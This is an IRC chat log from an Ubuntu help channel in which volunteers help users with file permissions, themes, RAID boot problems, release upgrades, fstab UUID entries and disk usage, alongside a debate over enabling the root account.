[02:02] <McPeter> sudo chown <user>:<group> /path/to/folder/or/file
[02:02] <k1l_> WoC: STOP that
[02:02] <ethan_> lol
[02:02] <kvothetech> ethan_: yeah i unlock my root shell to..if you have sudo access you might as well unlock root for yourself.
[02:02] <ethan_> kvothetech: shhhhh they are thinking down on us when we talk about root unlock :P
[02:03] <Random832> WoC: just sudo -s or sudo -i for a root shell
[02:03] <McPeter> gaby, you install ubuntu ? or one other personne ?
[02:03] <kvothetech> ethan_: I think it's idiotic not to have root...
[02:03] <gaby> guys - please iam stupid with alll what you are saying now - please - simply i need to copy file in some folder and i dont have permission because iam not root
[02:03] <gaby> thats all
[02:03] <McPeter> …
[02:03] <k1l_> kvothetech: there is no need to have an activated root account on ubuntu.
[02:03] <DeltaHeavy> kvothetech: Why? It adds so much security.
[02:04] <WoC> but neither sudo -s/ii gives u the environment from root. or ?
[02:04] <DrDank> has anyone SHARED INTERNET connection from Linux to a windows based pc?? If so, could you give me some help??
[02:04] <kvothetech> k1l_:  server?  DeltaHeavy no it doesn't
[02:04] <ethan_> kvothetech: I believe it has to do with the goal of Ubuntu. most heavy users dont like that
[02:04] <k1l_> kvothetech: and if you are a linux-guru or uber_haxx0r doesnt count in this channel. the ubuntu way is to use sudo. thats it
[02:04] <McPeter> gaby, use simply : sudo cp /path/to/file/origin /path/to/file/destination
[02:04] <blackshirt> the need was limited sudo access
[02:05] <ethan_> and on this discussion of unlocking root. If you can do all the damage with sudo, what does it hurt to unlock root?
[02:05] <DeltaHeavy> kvothetech: Ever heard of root level exploits?
[02:05] <McPeter> gaby, ?
[02:06] <Tux_1> root is unlocked, sudo su
[02:06] <McPeter> stop …
[02:06] <kvothetech> DeltaHeavy: i'm not saying run root 24/7 but i hate typing sudo all the time..also run arch most of the time and never have any problems with it.
[02:06] <McPeter> pfuu
[02:06] <blackshirt> even you can limit of your root power under linux
[02:06] <DeltaHeavy>  kvothetch: sudo -i
[02:06] <gaby> McPeter:  what to write in stead of Path and to file - and so on - i got that you want me to write SUDO CP - but the rest of the command - i dont know how to change it and what to write
[02:06] <kvothetech> DeltaHeavy:  if you type sudo -i why not just use your root account?
[02:06] <k1l_> kvothetech: then go to arch. thats it. this is the ubuntu channel with the ubuntu way.
[02:06] <DeltaHeavy> kvothetech: You don't NEED to disable the root account, I'm just saying it offers al ot more added security
[02:06] <DeltaHeavy> kvothetech: Because by disableing root you close a lot of potential vulnerabilities.
[02:06] <syntroPi> This package here has broken dependencies http://archive.canonical.com/ubuntu/pool/partner/s/skype/skype_4.1.0.20.0-0ubuntu0.12.04.1_amd64.deb
[02:07] <McPeter> gaby, wath do you want exactly ?
[02:07] <kvothetech> k1l_: i also use ubuntu
[02:07] <DeltaHeavy> There are pros and cons to both sides. I personally activate my root account as well.
[02:07] <k1l_> gaby: that depends what you want to copy to where
[02:07] <DeltaHeavy> Cause in all honesty I don't believe the threat is very big at all.
[02:07] <McPeter> gaby, give me wath you want copy and where
[02:07] <ethan_> k1l: not to disrespect, but just saying that it is the "Ubuntu way" isnt giving a real reason no to do it
[02:07] <gaby> McPeter : i have file - and i need want to extract it and copy it some where
[02:07] <k1l_> kvothetech: just dont suggest the root-account stuff here. that is all
[02:08] <gaby> McPeter : ok
[02:08] <Noah_> Is anyone available to help with a RAID setup?
[02:08] <kl4m> Noah_, probably yes
[02:08] <McPeter> gaby, by default extract your archive in your home folder
[02:08] <k1l_> ethan_: this is the supported way of ubuntu. thats why it has no pw from the install
[02:08] <blackshirt> even you can limit of your root power under linux
[02:08] <ethan_> k1l: fair enough
[02:08] <Dr_willis_> the forums have a HUGE amount of sudo pros/cons.. if you really want to do some reading.. and fall asleep.. ;P
[02:09] <k1l_> ethan_: if you dont like it do it yourself or use andother distro. but the ubuntu way stays the ubuntu way
[02:09] <McPeter> gaby, and after extratc give me the path where you want copy
[02:09] <McPeter> (sorry for my poor english)
[02:09] <k1l_> and to tell every newbie in here to unlock root is not the right way in this channel.
[02:09] <Noah_> k14m I've setup a RAID using 2 500GB partitions on separate drives. however, mdadm --examine --scan doesn't show them and my machine is only showing a black screen at boot after setting it up. It's Ubuntu Server 12.04 and I've tried just about everything I could find online already.
[02:10] <kl4m> There is just all sorts of good reason to keep root lock, you just need to *become* root on a machine, never login directly as root, particularily(?) on a server
[02:10] <Noah_> k14m *it, not them.. it's one raid
[02:10] <gaby> McPeter : i have file     W0RN-DPJC-8ENB    its in downloads folder- i wantto send it to  the
[02:10] <gaby> McPeter - Installation:
[02:10] <gaby> Extract two folders "Glass Mint", "Glass Ubuntu" into either /usr/share/themes/ (as root) or ~/.themes/
[02:10] <k1l_> im not talking about personal pros or cons. i talk about not telling newbies here to unlock it. because they come back the next day and have ruined the rightmanagment, when you are not here to support the newbie again. thats it
[02:11] <McPeter> gaby, for themes you can just extratc in ~/.themes
[02:11] <syntroPi> how can i install skype on quantal x64?
[02:11] <McPeter> gaby, ~ is your home
[02:12] <gaby> Mcpeter : i cant do it
[02:12] <kl4m> Noah_, I setup many machines per week with that setup :) Usually I put LVM on top of the RAID1, now that it's supported pretty much everywhere
[02:12] <McPeter> gaby, your home is /home/gaby ?
[02:13] <gaby> McPeter : yes
[02:13] <Dr_willis_> !skype | syntroPi
[02:13] <k1l_> gaby: you can drag and drop that with the file-explorer (nautilus) into the folder .themes (press ctrl+h) in your home-folder
[02:13] <doomlord> can ubuntu do ARGB transparency for gtk elements
[02:13] <McPeter> gaby, ok … you just push your file into : /home/gaby/.themes
[02:13] <Noah_> k14m okay..how should I set that up? I've already formatted the raid as ext4..it just doesn't show up in mdadm scan..?
[02:13] <McPeter> gaby, you don't need root
[02:13] <syntroPi> Dr_Willis, thanks but that does not work
[02:14] <excervo> gaby, just use nautilus then hit ctrl +h to show hidden folder
[02:14] <Dr_willis_> syntroPi,  theres blog sites like omgubuntu and webupd8 and askubuntu.com that may have info on the newer release of skype also
[02:14] <McPeter> gaby look that k1l_ say
[02:14] <Noah_> k14m something about my current setup isn't playing nice with grub I would guess..not sure where the boot is getting hung up though
[02:14] <kl4m> Noah_ oh right, grub... you're totally right
[02:15] <syntroPi> Dr_Willis_, the one from parnter repo depends on skype-bin (not avail) and the skype.com deb for precise x64 wont intstall due to wrong binary (i368 not x64)
[02:15] <kl4m> Noah_ try to boot on the other disk in the BIOS, when you're booted, do a sudo install-grub on each disk
[02:15] <Noah_> k14m I'm not booting to the drive though, I set everything up via shell..just using the drive as external storage
[02:15] <gaby> McPeter , i did as you said - but it doesn t work = still dont see the theme
[02:16] <Noah_> k14m would grub care if it saw a new external raid though? Something about my setup is freezing the boot but I'm not booting to the external :/
[02:16] <k1l_> gaby:  can you make a "ls -al .themes" in a terminal and show that to us in a pastebin?
[02:17] <kl4m> Noah_, Ubuntu installer would have setup GRUB on /dev/sda (the first disk it saw) and nowhere else, but the BIOS may not boot in that order
[02:18] <kl4m> Noah_, but on 12.04 grub supports raid1 perfectly well (in theory)
[02:18] <gaby> k1l_ , http://pastebin.com/3qGy5zxj
[02:18] <Noah_> k14m I don't have a working disk drive so I did raid1 setup entirely in shell, not the installer..
[02:18] <syntroPi> Dr_willis_ that problem makes the softwarecenter to crash hard... LOL
[02:18] <Noah_> k14m was booting just fine to /dev/sda previously
[02:18] <k1l_> gaby: well, go into that folder an copy and paste the files from the .WORN-... folder into the .themes folder
[02:18] <kl4m> ok, well mdadm --examine /dev/sd?1 shows you the disks?
[02:19] <k1l_> gaby: the need to be in that folder. not in a folder inside the folder :)
[02:19] <[_-S1L3NC3-_]> How can i activate my vswap?
[02:19] <XiaoBai> Recommend good music
[02:20] <bazhang> !ot | XiaoBai
[02:20] <bazhang> XiaoBai, this is ONLY ubuntu support.
[02:20] <syntroPi> how can i force an i368 packet on x64 system to install
[02:20] <syntroPi> ?
[02:20] <Noah_> k14m mdadm --examine --scan in general doesn't
[02:20] <k1l_> gaby: the two folders "Glass Mint" and "Glass Ubuntu" have to be in the .themes folder, not the .W0RN-DPJC-8ENB (to be more precise)
[02:21] <[_-S1L3NC3-_]> Hey #Ubuntu How can i activate my VSwap?
[02:21] <gaby> k1l_, ok now got them installed - but i cant or i dont know how to apply them
[02:21] <Noah_> k14m my apoligies..it does, I needed to be root
[02:21] <Dr_willis_> !swap
[02:21] <[_-S1L3NC3-_]> ok
[02:21] <k1l_> gaby: well, which desktop are you running?
[02:22] <Noah_> k14m sudo mdadm --examine --scan shows the array /dev/md/0 but the system still doesn't boot fully without a hard reset halfway through and a second boot each time I power up
[02:22] <syntroPi> is there a way to force dpkg to accept wrong architecture packages for installation?
[02:22] <gaby> k1l_, iam running 12.04
[02:23] <k1l_> gaby: with unity?
[02:23] <kl4m> Noah_, cat /proc/mdstat # does it show the raid as rebuilding?
[02:23] <gaby> k1l_, ubuntu
[02:23] <Noah_> k14m nope active [2/2] not rebuilding
[02:23] <McPeter> gaby, you use Unity ?
[02:23] <kl4m> Noah_, is it "(Auto read-only)" ?
[02:23] <holyguyver> All of the normal IP address changing things of dhclient eth0 or ifconfig eth0 down never work for me, is there any other way I can do it?
[02:24] <Noah_> k14m yes
[02:24] <[_-S1L3NC3-_]>  ~ How can i Fix this?
[02:24] <hybridge> sudo ifconfig eth0 down?
[02:24] <[_-S1L3NC3-_]>  /mnt/512MiB.swap: swapon failed: Operation not permitted
[02:24] <gaby> McPeter: i dont know - iam so stupid about linux
[02:24] <holyguyver> hybridge: that did not renew my IP
[02:24] <k1l_> gaby: can you show a "lsb_release -a" in a pastebin?
[02:24] <kl4m> Noah_ mdadm --readwrite /dev/md/0 # and check again if it starts rebuilding
[02:25] <[_-S1L3NC3-_]>  	 /mnt/512MiB.swap: swapon failed: Operation not permitted                ~When i try to VSwap, How Can I Fix This¿
[02:25] <Noah_> k14m no such file or directory.. odd mdadm shows as /dev/md/0 but operations only seem to work for /dev/md127
[02:26] <gaby> k1l_, http://pastebin.com/wsKnye7k
[02:26] <kl4m> Noah_,  yeah ok /dev/md127 or whatever is told is /proc/mdstat
[02:26] <syntroPi> anyone uses skype on quantal?
[02:26] <Noah_> k14m okay no rebuild after running it but auto read only no longer shows
[02:26] <Noah_> k14m should I attempt reboot?
[02:26] <k1l_> gaby: ok, i think easiest way is to install "myunity" and open it and then select the theme in there
[02:28] <kl4m> Noah_, I was wondering if it was refusing to boot because of a degraded raid... you know how to keep the grub menu open on boot?
[02:28] <k1l_> but gaby im not sure it its the right themes, you got there. they have to be for unity if you are using unity (which is the standard desktop on ubuntu)
[02:28] <Noah_> k14m I believe so..
[02:29] <Noah_> k14m at grub menu now
[02:29] <syntroPi> ubuntu is so great: my natty worked flawlessly but now expired support, precise has broken xserver and vdpau does not work, quantal has no skype...
[02:29] <[_-S1L3NC3-_]> In OpenVZ i cant swap anyway to avoid this?
[02:31] <gaby> k1l_, got the myunity
[02:31] <gaby> so?
[02:31] <k1l_> gaby: can you give me a link to where you got the theme? im not sure if its compatible with unity
[02:32] <kl4m> Noah_ : Try to edit you default boot and add "vga=normal nomodeset" at the end "linux blablabla ... ro quiet" in grub, so the console isnt hidden
[02:32] <cakeboss> Hey guys. So when I try and install an iso as a vm in vmware it makes my screen go black and gives me some weird code on the screen. Can anyone help with this?
[02:32] <jesusemelendezm> I have a question on linux certifications, does someone have the LPIC1 here ?
[02:32] <gaby> k1l_, http://cinnamon-spices.linuxmint.com/themes/view/128
[02:32] <k1l_> gaby: while im looking at the theme you could start myunity and click on the themes tab, and choose the theme there
[02:32] <McPeter> gaby, mmh .. not compatible
[02:32] <bazhang> jesusemelendezm, thats not on topic here
[02:33] <jesusemelendezm> ok
[02:33] <k1l_> gaby: the themes are for cinnamon. that is another desktop, which is not the ubuntu one
[02:33] <ccc_> guys, do i have to install programs THROUGH Wine or can i just run the .exe directly?
[02:34] <hybridge> run the setup
[02:34] <almoxarife> ccc_: you would need wine installed to run an .exe program
[02:34] <gaby> k1l_, i have this cinnamon appplication -something like Myunity
[02:34] <ccc_> it is installed
[02:34] <almoxarife> ccc_: then run the exe
[02:34] <kl4m> ccc_, technically ".exe" are launched by wine and not directly executed, so all the same
[02:35] <ccc_> i copied starcraft 2 over
[02:35] <k1l_> gaby: but cinnamon is not supported from ubuntu. if you want that you have to ask the linux-mint support
[02:35] <ccc_> and want to run it in wine
[02:35] <k1l_> !linuxmint | gaby
[02:35] <k1l_> !mint | gaby
[02:35] <ClientAlive> I have a dual monitor setup and want to make it so youtube videos 'stay' fullscreen on the one monitor - even if I'm doing something on the other monitor. I'm watching programming tutorials and need to work in my ide while I watch. Thx.
[02:35] <hybridge> right click, properties, goto 'open with' tab, select option wine windows program loader?
[02:35] <Noah_> k14m I pressed e and added it as the last line but it seemed to have no effect..not sure if I'm placing it in the right place though
[02:36] <ClientAlive> I saw a web page that addresses exacltly my issue but it was for windows
[02:36] <hybridge> why wouldnt it stay full screen?
[02:37] <hybridge> make sure the setting 'same image in all monitors' is unchecked
[02:37] <syntroPi> ccc_ did you mark that exe as executable?
[02:37] <syntroPi> wine would reject otherwise
[02:38] <Stanley00> ClientAlive: how about using minitube, it's a youtube client
[02:38] <ClientAlive> hybridge: when you click any other window (on the other monitor for instance) it goes back to small screen.
[02:38] <ClientAlive> Stanley00: as in a separate app?
[02:38] <Stanley00> ClientAlive: yep
[02:39] <ccc__> i mean if i want to install windows apps, do i just clik the setup.exe
[02:39] <Noah_> k14m found it..hold on
[02:39] <ccc__> or do i have to open a wine app and run it through it
[02:39] <jesusemelendezm> ccc
[02:39] <jesusemelendezm> just open it
[02:39] <Noah_> yup asking if I wish to start degraded raid but not asking me for input
[02:40] <Noah_> (k14m)  yup asking if I wish to start degraded raid but not asking me for input ..then goes to initramfs shell
[02:40] <ClientAlive> there must be some configuration file for flash or something - so I can use my browser and have what I need. I have multiple tabs open (many related to the video I watch).
[02:42] <Stanley00> ClientAlive: flash does not work well on linux, minitube can play video full screen on one monitor, but it doesn't support youtube login.
[02:43] <hybridge> html5 works nice on linux
[02:43] <Noah_> k14m should I use these steps? http://ubuntuforums.org/showthread.php?t=1864216
[02:44] <syntroPi> ccc_ if its marked as executable file (chmod +x) you can just lauch it via click and wine would execute it
[02:48] <Noah_> k14m not sure if you're still around but I got it working with the url I pasted earlier ..thanks for leading me down the right path
[02:49] <Dr_willis_> ccc_,  I find it easier to use the terminal and do a 'wine /path/to/whatever.exe'
[02:57] <ClientAlive> what command do I use to find a file on my system?
[02:57] <ClientAlive> if I just have the file name
[02:57] <Erin> ClientAlive, 'locate' works good
[02:57] <Erin> might want to do a sudo updatedb first
[02:58] <ring1> ClientAlive, find is also a good tool: find / -name filename
[02:58] <ClientAlive> Erin: So "locate <filename>" ?
[02:59] <Erin> ClientAlive, yup
[02:59] <ClientAlive> right on. thx
[03:01] <kl4m> "find is a good tool" is an understatement :) too bad the syntax is so awful
[03:02] <ring1> <3 find
[03:02] <Erin> I like locate my self but i've heard find is very powerful
[03:04] <Stanley00> Erin, kl4m: find is extremely good, and too good to do simple things
[03:04] <Erin> Yea it is way more complicated than locate for finding a single file, thats why I suggest he use locate ;-p
[03:07] <ring1> when using locate, you just have to remember that it doesn't search in certain paths, as configured in /etc/updatedb.conf ;)
[03:08] <hybridge> is locate written in assembly? seems fast
[03:09] <usr13> hybridge: fast as compared to ___________?
[03:09] <Donnie_Darko21> any help for install google earth 7 beta for 12 04
[03:09] <hybridge> as compared to file browser's search tool.
[03:11] <usr13> hybridge: and/or find....?
[03:12] <hybridge> nm
[03:14] <ty_guy_> whats new?

[03:17] <zz_worker> I have a problem, Disks are nearing full, but I can't find what's taking the space? Please help! http://pastie.org/private/5fcpr8pohj4ivn5srt61w
[03:19] <ring1> zz_worker, take a look at baobab
[03:19] <hybridge> do you have a gui disk analyzer?
[03:19] <mickster04> zz_worker: /root/workspace/app is taking 5 gb?
[03:20] <usr13> zz_worker: ls -ltrS    <will list by file sizes, largest last> ; du |sort -n   <will show directories sorted by size>
[03:20] <mickster04> zz_worker: du -sh ./* in any folder to see how big each folder is and you just need to follow the biggest one down until you spot something useful
[03:20] <zz_worker> hybridge,ring1 , No GUI , No X, Its remote:(
[03:21] <hybridge> hoam
[03:21] <ring1> zz_worker, ok, was worth a shot ;)
[03:21] <mickster04> zz_worker: just cd into /root/workspace/app and run du -sh again?
[03:21] <k1l_> zz_worker: use "du"
[03:21] <hybridge> its nice to find a channel with zero trolls
[03:22] <McPeter> hybridge, baobab
[03:23] <Darkstar1> I think there's a command to upgrade a distro to another
[03:23] <Darkstar1> ?
[03:23] <k1l_> zz_worker: maybe du cant "see" all files if it hasnt root-rights
[03:23] <Darkstar1> I want to go from 10.10 to 12.04
[03:23] <cloudrf> hey could yall help me out with xubuntu vlc?
[03:23] <ring1> Darkstar1, do-release-upgrade
[03:24] <Darkstar1> ring1: cheers
[03:24] <k1l_> zz_worker: ah, i see you are already root, sry im to tired :(
[03:24] <McPeter> Darkstar1, you cant' … 10.10 ▶ 11.04 ▶ 11.10 ▶ 12.04
[03:24] <usr13> Darkstar1: do-release-upgrade will only take you to the incremental path
[03:24] <Darkstar1> ok
[03:25] <Darkstar1> command not recognised :?
[03:25] <mickster04> Darkstar1: well sudo apt-get dist-upgrade might help :p
[03:25] <usr13> Darkstar1: but if you get to 10.04, you can switch to LTS and then go from 10.04 to 12.04.
[03:25] <zz_worker> mickster04 , cd into app , gives this http://pastie.org/private/ef8epr4vz5pnn43w2ezldg (which is no different)
[03:26] <McPeter> Darkstar1, if you want upgrade 10.10 to 12.04 i think is better you resintall
[03:26] <almoxarife> !ask cloudrf
[03:26] <mickster04> zz_worker: ls -ltra in that folder?
[03:26] <McPeter> Darkstar1, you must upgrade 10.10 to 11.04 and after 11.04 to 11.10 and after 11.10 to 12.04
[03:26] <McPeter> it's really long
[03:26] <cloudrf> i cant get vlc to play a dvd almo
[03:27] <mickster04> Darkstar1: just stick the cd in and you can keep your documents etc as part of upgrading>
[03:27] <mickster04> ?
[03:27] <Darkstar1> McPeter: aye.. remote vps upgrade
[03:27] <McPeter> outch
[03:28] <Darkstar1> must take this path.. Another QQ is it possible to go from 8.04 to 12.04?
[03:28] <krz> hi
[03:28] <krz> what laptop do you guys run ubuntu on?
[03:28] <Darkstar1> or must I get to 10.04 first
[03:28] <Darkstar1> ?
[03:28] <McPeter> Darkstar1, 8.04 is LTS .. you can upgrade 8.04 to 10.04 to 12.04
[03:28] <mickster04> !what | krz
[03:28] <mickster04> !what
[03:28] <McPeter> with no lts you must follow version by version
[03:29] <zz_worker> mickster04, Ah cool, looks like I have dump file in that folder which is talking 4G
[03:29] <mickster04> krz: what do you mean?
[03:29] <mickster04> zz_worker: alrighty then :D
[03:29] <zz_worker> Thanks mickster04 , Where can I send a beer ? :)
[03:29] <mickster04> zz_worker: NZ? :p
[03:29] <k1l_> zz_worker: but thats not a ubuntu? isnt it?
[03:30] <McPeter> Darkstar1, to upgrade 10.10 you must use old repository
[03:30] <McPeter> s/to/for
[03:30] <McPeter> and 10.10 is end of life ..... and 11.04 too -__-
[03:31] <almoxarife> !info libdvdcss
[03:31] <McPeter> almoxarife, maybe you find it if you use medibuntu repositor
[03:31] <McPeter> y
[03:32] <usr13> Darkstar1: To switch to LTS change Prompt=normal
[03:32] <almoxarife> !medibuntu
[03:32] <usr13> Darkstar1: To switch to LTS change Prompt=normal to Prompt=lts in /etc/update-manager/release-upgrades
[03:32] <zz_worker> Where do rockstar DevOps hangout ? Is it appropriate to post Job Post here?
[03:32] <McPeter> almoxarife, hors try to install ubuntu-restricted-extras
[03:33] <McPeter> !info ubuntu-restricted-extras
[03:33] <McPeter> almoxarife, and after : sudo sh /usr/share/doc/libdvdread4/install-css.sh
[03:33] <Darkstar1> usr13: Ok I'll try thsat
[03:33] <McPeter> usr13, Darkstar1 is on 10.10
[03:34] <almoxarife> cloudrf: you need this file installed libdvdcss, it should be part of the medibuntu repository
[03:34] <Darkstar1> I don't have that folder path.
[03:34] <McPeter> -__-
[03:35] <McPeter> Darkstar1, 10.10 is end of life ... you must use old repository to upgrade to other version
[03:35] <usr13> Darkstar1: Scratch that.  You are passed 10.04. YOu are on 10.10 and you can't do that.  Sorry.  Disreguard
[03:35] <zz_worker> k1l_ : Its ubuntu on EC2
[03:35] <usr13> McPeter: Thanks for the correction.
[03:35] <Darkstar1> sudo apt-get dist-upgrade didn't help, somethings updated but the distro is still 11.04
[03:35] <Darkstar1> usr13: :) ok
[03:36] <k1l_> zz_worker: ah k.
[03:36] <McPeter> Darkstar1, change your official repository by : http://old-releases.ubuntu.com/ubuntu
[03:37] <Darkstar1> ok
[03:37] <McPeter> and disactived other sources
[03:38] <serunu> i am having horrible time with mounting my external hdds. mainly my issue now is /dev/sd** changing from what i put in /etc/fstab. seems like everytime i come back to /media/ something has changed as far as whats mounted and what its folder name is. any ideas on any of this?
[03:40] <usr13> serunu: pastebinit /etc/fstab
[03:40] <serunu> http://paste.ubuntu.com/1387023/
[03:41] <usr13> serunu: You see the line at the top, where it says, "Use 'blkid -o value -s UUID' to print the universally unique identifier..."
[03:42] <serunu> usr13: i am familiar
[03:42] <usr13> serunu: use blkid value instead of /dev/sd*
[03:43] <usr13> serunu: And I would use mount points of your choosing, not /media  but just where-ever / what-ever you want.
[03:43] <serunu> usr13: i have been down that road also, seemed the unique id wasnt always the same either
[03:43] <usr13> really?
[03:43] <designbybeck_> my first time using shotwell with facebook... it joined the account, I saw my albums, made a new one, and it started uploading but seems to be hung after 3 images?
[03:44] <designbybeck_> the first 2 have gone
[03:44] <serunu> usr13: i am used to /media is there a benifit of mounting elsewhere?   And yes seemed things changed
[03:44] <designbybeck_> any ideas?
[03:44] <usr13> serunu: What do you have on these devices?
[03:44] <serunu> A/V mostly
[03:45] <usr13> serunu: Is there a catagory or some sort of name you would give them? (other than A42c05932c056222 or My\040Book ?)
[03:45] <usr13> serunu: Some sort of user-friendly name?  (something more user friendly than ^^^)
[03:47] <almoxarife> usr13: the gui filemanager usually have a bookmark sort of thing where one can give a name without getting all involved in the guts of the os
[03:47] <serunu> usr13: your saying give them a name that is simpler. i get that.
[03:48] <usr13> serunu: Yea, what would you name these two devices?  Can you thing of something?
[03:49] <Darkstar1> sudo apt-get install update-manager-core followed by sudo do-release-upgrade -d seems to be fixining it
[03:49] <Dr_willis_> Storage1 and Storage2  :)
[03:49] <almoxarife> Dr_willis_: media1/2
[03:49] <Dr_willis_> almoxarife,  better then 'PornDrive1000' ;)
[03:49] <usr13> Darkstar1: That is better than A42c05932c056222 or My\040Book :)
[03:50] <almoxarife> better?
[03:50] <Dr_willis_> If you set a nice Filesystem Label - the os will use that for the mountpointname. thats where the My Book is comming from.
[03:50] <usr13> ... but I'm real sure we can be more creative than that... Right serunu ?
[03:51] <usr13> Dr_willis_: Yes, but the point is, I want HIM to come up with a name.  One that makes sense to serunu
[03:51] <almoxarife> creative, the gui filemanager usually have a bookmark sort of thing where one can give a name without getting all involved in the guts of the os
[03:53] <serunu> i guess i never really cared, just used tab completion
[03:53] <usr13> serunu: sudo mkdir /Storage1   Then run blkid  and use the UUID for the fstab entry.  That's all you need to do. But use a directory name that makes some sort of logical sense (to you).
[03:55] <usr13> serunu: Instead of /dev/sdc1 /media/My\040Book vfat defaults 0 0  use UUID=0a85df06-a39a-4084-b807-e809bc810bf7  /media/My\040Book vfat defaults 0 0
[03:55] <usr13> UUID=0a85df06-a39a-4084-b807-e809bc810bf7  /media/My\040Book vfat defaults 0 0
[03:55]  * almoxarife keeps all iz media stuffs in /media dat way ez nose where to looks
[03:56] <usr13> or UUID=0a85df06-a39a-4084-b807-e809bc810bf7  /Storage1 vfat defaults 0 0
[03:57] <usr13> or UUID=0a85df06-a39a-4084-b807-e809bc810bf7  /Storage1 vfat user,rw 0 0
[03:57] <serunu> usr13: i will go with the unique id and see if that works but i was sure they werent staic....wouldnt be the first time i was wrong :) and i will graciously accept your tips on a clean file system
[03:58] <jaguar_> i like ubuntu os
[03:58] <Darkstar1> can't upgrade from 11.04 to 11.10.: No new release found
[03:59] <Dr_willis_> Darkstar1,  you have to tell the update manager/tool to look for non-lts releases
[03:59] <usr13> serunu: The key to file management is for YOU to make these decisions.  You make directory "Pictures" for pictures and "Videos" for videos, "Documents" for documents... etc.  So that the filesystem makes some sense.
[04:00] <Dr_willis_> Darkstar1,  was that a typo you ment 12.04 and 12.10 ? or are you really on 11.04 ?
[04:00] <Darkstar1> yeah I am atm.. was on 10.10 a moment ago managed to get it to 11.04
[04:01] <usr13> serunu: And I just use the root directory /
[04:01] <usr13> serunu: It doesn't matter, it's just simple that way.
[04:02] <almoxarife> usr13: alright already
[04:03] <serunu> usr13: it makes sense, im such a noob that i dont think to customize that way, i was just trying to copy the default way for best results. obviously no win.
[04:03] <Darkstar1> Dr_Willis: Got around it. Omw to 11.10
[04:05] <usr13> almoxarife: I made some mistakes, was correcting myself.  I'm sorry if we are discussing this issue exessively, but, sometimes it helps to give extra details.
[04:06] <kj4> hey all
[04:07] <usr13> hey
[04:07] <BC___> hi
[04:07] <almoxarife> usr13: things would be so much easier if everyone used KDE
[04:08] <usr13> serunu: Just keep adjusting the /etc/fstab entry until it works correctly.  Each time, you can just do,  sudo mount -a    to mount again.
[04:08] <usr13> almoxarife: Why is that?
[04:08] <usr13> almoxarife: I prefer xfce / thunar
[04:08] <almoxarife> serunu: those drives you are attaching are external, yes?
[04:08] <usr13> almoxarife: Yes they are.
[04:09] <almoxarife> usr13: thats my point, its all about personal preference, forget i brought it up
[04:09] <usr13> almoxarife: Maybe you would like to explaine a KDE trick or 2...?
[04:10] <usr13> almoxarife: It's up to you.  If you have something to contribute, be our guest.
[04:10] <almoxarife> usr13: no thanks, we kde types are low key
[04:10] <serunu> almoxarife: yes
[04:11] <usr13> serunu: Do you use KDE?
[04:11] <serunu> usr13: this is gnome, on my laptop, which is a pooor mans manily music server
[04:11] <almoxarife> serunu: so placing them in fstab is for ? dont they show when attached?
[04:12] <lickalott> is anyone in here that is also in ubuntu-server?  I don't want to crosspost.
[04:13] <escott> lickalott, crossposting is discouraged but this channel is a bit higher traffic
[04:13] <serunu> almoxarife: sometimes i need a remote reboot then they wont show. its like the usb needs to be unplugged/plugged. but i am not there. so no, sometimes they do not mount
[04:13] <lickalott> having an issue with NFS ( i think)
[04:13] <usr13> almoxarife: serunu  ...I use about 3 different thumb drives and I just plug them in, thunar pops up and I do as I wish with the files. (Pretty much the same as KDE, only a click or two less to do it.)
[04:14] <serunu> now sudo umount is saying the device is busy
[04:14] <Erin> whats the correct REGEX for any number between 1-20 ?
[04:14] <Erin> isnt it [1-20] ?
[04:14] <almoxarife> serunu: i have one of those usb buses with external power, keeps everything on regardless of the state of the machine, do you have something like that which is being used?
[04:14] <usr13> serunu: cd  (if it's a terminal)  Close it, it it's a file manager.
[04:15] <serunu> almoxarife: no i dont. two external hds with 3 partions are plugged directly into the laptop
[04:16] <usr13> serunu: You obviously have something that is accessing it (if umount complains that it is bussy).
[04:16] <serunu> usr13: not sure i understand you. yes im in a term. thats all i ever use lately. so i need to cd to where and close the terminal?
[04:16] <almoxarife> serunu: the hd's are external powered?
[04:17] <serunu> almoxarife: yea, plugged into the wall
[04:17] <usr13> serunu: cd  (cd buy itself (with no arguments) will change directory to your home dir).
[04:18] <usr13> serunu: Or, you can close the terminal and use another.
[04:18] <usr13> serunu: pwd  will tell you where you are at.
[04:18] <usr13> pwd - print name of current/working directory
[04:19] <crimsonmane> IdleOne: might i have a brief conversation with you in private?
[04:19] <serunu> usr13: i am remote into this computer that i am communicating with.
[04:19] <nowayride> Is anyone good with xrandr and debugging display issues?
[04:19] <IdleOne> crimsonmane: anytime
[04:19] <usr13> serunu: .... same situation.
[04:19] <escott> nowayride, im sure someone is
[04:20] <serunu> i know pwd, not sure why where i am matters. as long as im not in /folder i should be able to sudo umount /media/folder correct?
[04:20] <usr13> serunu: That is correct
[04:20] <nowayride> VGA produces 1920x1080 but it gets horizontally scrunched, HDMI has the typical zoomed in effect but replicating its modeline from Xorg log results in something completely different Modeline "1920x1080"x0.0   74.25  1920 2558 2602 2750  1080 1084 1089 1125 +hsync +vsync (27.0 kHz)
[04:20] <serunu> usr13: i am using screen so im not sure why closing the terminal helps, sorry for the confusion
[04:20] <escott> serunu, any open fd on that partition could prevent the umount
[04:20] <almoxarife> serunu: really confused yet? :)
[04:21] <serunu> almoxarife: very, but i am trying
[04:21] <usr13> serunu: you can use -f  (umount -f will force un-mount)
[04:21] <usr13> serunu: but better hope you are not writing to it at the time.
[04:21] <serunu> anyway to tell what may be makeing it busy?
[04:22] <usr13> serunu: lsof will tell you what open files there are, (losf |grep mount/point or.....)
[04:22] <JonJoey> What's the proper way to log out when you need to use "sudo -i" ?
[04:22] <JonJoey> needed*
[04:23] <escott> JonJoey, exit
[04:23] <JonJoey> thanks, I was worried everything might logout/shutdown if I did that. This time I just "X"d the terminal session, but now I know for next time.
[04:23] <nowayride> If I use CVT values at all xrandr results in a picture that looks like it got crunched to  the right (left black bar)
[04:23] <escott> nowayride, the monitor might be zooming on the HDMI so check the config of the monitor
[04:24] <nowayride> TV* and there's no "PC" mode for HDMI on it :( the closest one half cuts off the dock
[04:24] <serunu> usr13: i hit that when i saw the error but it spit out pages of text, i didnt know how to interput
[04:24] <escott> JonJoey, all your are "exit"ing is /bin/bash
[04:24] <usr13> serunu: For instance:  lsof |grep disk-1  (If it is mounted /media/disk-1) and it will let you know if there is a terminal open that has cd'd to it.
[04:24] <suhaib> yea that one seems more reasonable http://pastebin.com/xqtUYXmV
[04:25] <nowayride> IDK HDMI is producing "close" xrandr numbers but cvt is WAY off, unless there's something I'm suppose to do with - or + vsync or hsync
[04:25] <suhaib> IGNORE ME WRONG CHANNEL
[04:25] <suhaib> SORRY
[04:25] <serunu> usr13: ahh, ok, that i understand. i need to understand grep better... thanks
